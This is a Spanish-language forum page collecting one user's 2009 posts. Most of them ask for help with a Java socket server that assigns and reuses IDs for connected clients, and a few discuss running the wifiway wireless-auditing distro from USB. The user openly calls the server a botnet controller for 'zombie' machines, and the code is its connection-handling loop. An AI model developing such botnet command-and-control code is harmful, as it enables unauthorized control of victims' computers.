Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Debci

#1641
Ese vector no es mas que una lista negra donde voy metiendo los que se desconectan, meto un id sumatoria (1,2,3,4,5...) como key y el otro valor integer el id que queda libre para asignarle a otro.


Saludos
#1642
Nada que no sale, lo he intentado con un array y ahora con hashTable y nada:

Metodo de busqueda antes de asignar
Código (java) [Seleccionar]

while (true)
            {
            try {
                   
                System.out.println("Esperando conexiones...");

                Socket zombie = socketServidor.accept();
                idZombie++;
                for(int i = 1; i < listaNegra.size(); i++)
                {
                    System.out.println(listaNegra.get(i));
                }
                if(listaNegra.isEmpty())
                {
               
               
                System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
                vectorZombies.put(idZombie, zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
                }else if(borrado)
                {
                System.out.println("Asignando un id disponible...\n");
                System.out.println("Nuevo zombie añadido a la BotNet: " + listaNegra.get(contador) + "\n");
                vectorZombies.put(listaNegra.get(contador), zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!",listaNegra.get(contador));
                }else{
                System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
                vectorZombies.put(idZombie, zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
                }
   
               
               
                nuevoZombie.start();
                Servidor.slider.setMaximum(idZombie);
                Servidor.numBots.setText(idZombie.toString());
                borrado = false;
               
               
            } catch (IOException ex) {
                Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex);
            }


            }


Metodo que uso cuando un cliente se desconecta:

Código (java) [Seleccionar]

System.out.println("ADIOS!");
            contador++;
            ThreadEjecución.listaNegra.put(contador, id);
           
            ThreadEjecución.RenovarDatos();
           
            ThreadEjecución.borrado = true;


Y todo bien, creo nuevos clientes, los tira adelante, pero cuando borro uno, y intento crear otro:

Exception in thread "Thread-1" java.lang.NullPointerException


Porqueeeeeee

Saludos
#1643
Java / Re: Extraer archivos dentro de un .jar
31 Diciembre 2009, 14:13 PM
Cita de: cyberserver en 30 Diciembre 2009, 07:15 AM

public void sacarArchivoJar(String Archivo,String RutaDescarga){

try {
            InputStream in = getClass().getResourceAsStream(Archivo);
            OutputStream out = new FileOutputStream(RutaDescarga);

            byte[] buf = new byte[1024];
            int len;
            while ((len = in.read(buf)) > 0) {
                out.write(buf, 0, len);
            }
            in.close();
            out.close();
            System.out.print("Copiado con exito");
        } catch (Exception e) {
            System.out.println(e);
        }

}
}


Bro siempre igual, te lo digo siempre, ponle las tags de codigo como Linux manda:
code=java
#1644
Cita de: Novlucker en 31 Diciembre 2009, 13:05 PM
Ok, lo que ocurre es que mi sugerencia venía de parte de C# por ejemplo (la similitud con Java es monstruosa!), donde si bien las hashtables no pueden tener keys null, si pueden tener valores null, pero ahora revisando la documentación de java ...

http://java.sun.com/j2se/1.4.2/docs/api/java/util/Hashtable.html
Citarput
public Object put(Object key,
Object value)

Maps the specified key to the specified value in this hashtable. Neither the key nor the value can be null.

Entonces hay que descartar esa opción.

Alternativa que se me ocurre, llevar un simple array de booleanos en paralelo, donde index +1 = ID y valor true o false según este o no conectado.

Entonces al igual que antes recorres el array, si el elemento 0 es false (por ej), entonces el ID1 esta vacío, cambias valor a true, y en la hashtable asignas objeto :P

Por otra parte, no hay método para cambiar tamaño de array luego de declarado? :o (obviamente no me refiero a copiar el array en otro con length+1)

Saludos

Para hacerlo de esa manera, mejor usar hashTable jeje, mira voy a intentar algo asi:

HashTable<Integer, Integer> listanegra;

Si se desconecta un cliente, se añade a la lista negra y añade la key por orden, y el otro valor el id que deja libre, luego en cada asignacion de id, recorro la hashTable y cojo los valores libres que van quedando disponibles.

En teoria funcionaria no?


Pero se me presenta una duda, como hago para cojer siempre el valor libre mas pequeño?

Saludos
#1645
Cita de: Novlucker en 31 Diciembre 2009, 01:15 AM
panaka, lo que ocurre es que el problema del post no es ese, su problema es que va llenando la tablahash y dado que utilizaba un contador, al disminuir el valor acumulado en este, se corría el riesgo de pisar "antiguos elementos" ... ej:

ID
1
2
Valor
Objeto
Objeto
Tabla por defecto ... Contador == 2

ID
1
2
3
Valor
Objeto
Objeto
Objeto
Ingresa un elemento ... Contador == 3

ID
1
2
3
Valor
-
Objeto
Objeto
Se va el elemento 1... Contador == 2

En esta situación, dado que el ingresa los nuevos elementos en el Contador+1, en el próximo ingreso se pisa el valor de 3, es decir, más allá de que se este trabajando con estructuras sincronicas o no, el problema es de lógica :P

Saludos

Exacto, lo que yo quiero es que llene el hueco que queda vacio, en este caso el id 1.

Pero no me figuro, porque he predefinido uno de los parametros de la hashtable como Socket, intente hacer lo que me aconsejasteis, cojer y meterle null cuando se desconectase, pero no me deja darle null, si pudiese darle null, luego recorreria todo el vector y veria cualos son null y devolveria un mapa con las vacias para que la secuencia escojiese la mas pequeña de esas y se lo autoasignase.

Pero no se darle null :s

Saludos

Saludos
#1646
Cita de: ebola_30 en 30 Diciembre 2009, 17:33 PM
se formatea el pen en fat32. luego descomprimes el archivo iso de wifiway en el pen .luego vas a la carpeta boot y buscas el archivo bootinst.bat y lo ejecutas.es para que arranque desde el pen. y ya lo tienes instalado  ;)
no te olvides de entrar en las bios de tu portatil con la tecla f2 para que lea el pendrive nada mas arrancar y no cargue el sistema operativo de tu portatil,sino el wifiway del pen.tienes que cambiar una opcion en el apartado boot ( creo recordar  ;))
un saludo
Estoy bajo linux, y etse no interpreta .bat :s

Saludos
#1647
Cita de: Novlucker en 30 Diciembre 2009, 17:30 PM
Siempre digo lo mismo, no se nada de java, pero las dos veces anteriores le atine!, igual esto es de lógica :P

No uses un contador ...

Al conectarse alguien:

Si la tabla esta vacía, simplemente agregas un nuevo ID valor 1
Si la tabla NO esta vacía, la recorres y verificas si algun elemento apunta a un objeto null, si el objeto es null, lo pisas con uno nuevo, si llegas el final sin encontrar un null, agregas un nuevo elemento con id size+1

Al desconectarse alguien:
Pisas el valor de la tabla con un objeto null

Con esto tendrás una tabla con elementos "válidos" y nulos, así que solo deberás de filtrar los nulos a la hora de trabajar

Saludos :P

Era justo lo que necesitaba ^^

A veces necesito un empujoncito con la logica de algun algoritmo xD

Saludos
#1648
Cita de: panaka en 30 Diciembre 2009, 16:43 PM
Lo que esta pasando es que no tienes en cuenta la posibilidad de que dos hilos accedan a ese contador a la vez y es lo que esta pasando, en cada uno de los hilos de conexion cada vez que intentes decrementar o incrementar ese contador deberas hacerlo dentro de un bloque synchronized de forma de que solo un hilo puede estar accediendo a esa variable en un determinado instante, es decir, has de tratarlo como parte critica del codigo.

Un saludo
Y así es, el problema es que el contador no es lógico, segun mi punto de vista.
Me explico:
Debo inventar un sistema para que valla ocupando los puesto libres que van dejando los otros clientes.
Pero no me figuro como hacerlo.

Saludos
#1649
Cita de: ebola_30 en 30 Diciembre 2009, 16:41 PM
te puedes instalar wifiway 1.0 en un pendrive de 4 gigas y va de maravilla.arranca mucho antes que desde el dvd. y puedes copiar cosas al pendrive desde wifiway
Como? alguna version usb o algo?

Saludos
#1650
Cita de: ebola_30 en 30 Diciembre 2009, 15:43 PM
no tienes que parchear nada de nada, usando el wifiway 1.0 ya te vienen los drivers para modo monitor y navegar. ahora mismo estoy navegando desde mi usb rt73 y wifiway 1.0  ;)
Estaba usando ubuntu xDDDDDDDD

No tengo dvd pero ahora pillo unos en los chinos xD


Saludos